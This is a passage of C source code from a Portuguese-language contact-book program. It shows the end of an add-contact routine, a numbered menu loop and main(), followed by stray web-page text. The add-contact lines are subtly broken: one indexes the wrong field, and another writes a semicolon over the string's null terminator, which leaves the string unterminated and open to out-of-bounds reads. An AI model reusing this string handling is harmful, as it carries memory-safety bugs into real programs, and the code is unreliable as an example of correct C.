fgets(novo_contato->inf[4], sizeof(novo_contato->inf[4]), stdin);
novo_contato->inf[4][strlen(novo_contato->inf[4])-1] = novo_contato->inf[0][strlen(novo_contato->inf[4])];
novo_contato->inf[4][strlen(novo_contato->inf[4])] = ';';
inserir_contato(lista, novo_contato);
escrever_lista(lista, tamanho_lista(lista));
}
int menu_principal(lista_encadeada *lista){
while(1){
int opcao;
printf("\n============================ Menu ==============================\n");
printf("= (1) Adicionar Novo Contato\t");
printf("(2) Remover Contato Existente =\n");
printf("= (3) Pesquisar Contato\t\t");
printf("(4) Alterar Contato =\n");
printf("= (5) Listar Todos os Contatos\t");
printf("(6) Sair =\n");
printf("================================================================\n");
scanf("%d", &opcao);
getchar();
switch(opcao){
case 1: adicionar_contato(lista);break;
case 2: excluir(lista);break;
case 3: pesquisar(lista);break;
case 4: alterar_contato(lista); break;
case 5: listar_contatos(lista, tamanho_lista(lista)); break;
case 6: system("clear"); return 0; break;
default: printf("Opção Inválida (Pressione ENTER)"); getchar();
}
}
}
int main(){
lista_encadeada *lista;
setlocale(LC_ALL, "portuguese-brazilian");
verificar_existencia();
lista = criar_lista_encadeada();
carregar_lista_encadeada(lista);
menu_principal(lista);
return 0;
} |
Subsets and Splits